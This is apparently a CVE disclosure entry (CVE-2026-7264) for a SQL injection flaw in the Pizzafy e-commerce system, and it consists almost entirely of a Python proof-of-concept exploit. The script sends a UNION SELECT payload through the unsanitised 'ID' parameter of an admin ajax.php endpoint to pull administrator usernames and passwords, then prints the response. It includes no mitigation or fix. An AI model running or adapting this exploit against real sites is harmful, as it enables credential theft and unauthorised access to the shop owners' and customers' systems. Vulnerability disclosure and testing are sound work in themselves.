CVE-2026-7264 Pizzafy电商系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host.com/admin/ajax.php" # Vulnerable parameter and payload # The 'ID' parameter is not sanitized, leading to SQL Injection payload_params = { "action": "get_cart_items", "ID": "1' UNION SELECT 1,2,3,4,username,password FROM admin-- -" } try: # Send the malicious request response = requests.get(target_url, params=payload_params) # Check if the response indicates successful data extraction if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print("[-] Request failed.") except Exception as e: print(f"[!] An error occurred: {e}")